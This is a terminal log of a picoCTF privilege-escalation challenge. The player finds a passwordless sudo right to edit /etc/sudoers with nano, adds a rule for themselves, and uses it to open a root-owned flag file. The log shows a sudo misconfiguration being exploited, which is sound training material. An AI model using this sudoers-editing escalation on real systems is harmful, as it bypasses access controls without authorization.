$ ssh -p 57870 ctf-player@crystal-peak.picoctf.net                                                                                                                                                                                                                                                                     7m 39s direnv nix impure
Last login: Thu Jul  2 15:19:16 2026 from 127.0.0.1
ctf-player@challenge:~$ ls
flag.txt
ctf-player@challenge:~$ ls -lah
total 24K
drwxr-xr-x 1 ctf-player ctf-player   71 Jul  2 15:26 .
drwxr-xr-x 1 root       root         24 Feb  4 22:26 ..
-rw------- 1 ctf-player ctf-player  415 Jul  2 15:26 .bash_history
-rw-r--r-- 1 ctf-player ctf-player  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 ctf-player ctf-player 3.7K Feb 25  2020 .bashrc
drwx------ 2 ctf-player ctf-player   34 Jul  2 15:19 .cache
drwxrwxr-x 3 ctf-player ctf-player   19 Jul  2 15:20 .local
-rw-r--r-- 1 ctf-player ctf-player  807 Feb 25  2020 .profile
-rw------- 1 ctf-player ctf-player 1006 Jul  2 15:24 .viminfo
-r--r----- 1 root       root         35 Feb  4 22:26 flag.txt
ctf-player@challenge:~$ sudo -l
Matching Defaults entries for ctf-player on challenge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User ctf-player may run the following commands on challenge:
    (ALL) NOPASSWD: /bin/nano /etc/sudoers
ctf-player@challenge:~$ sudo nano /etc/sudoers
ctf-player@challenge:~$ sudo -l
Matching Defaults entries for ctf-player on challenge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User ctf-player may run the following commands on challenge:
    (ALL) NOPASSWD: /bin/nano /etc/sudoers
    (ALL) NOPASSWD: /bin/nano /home/ctf-player/flag.txt
ctf-player@challenge:~$ sudo nano /home/ctf-player/flag.txt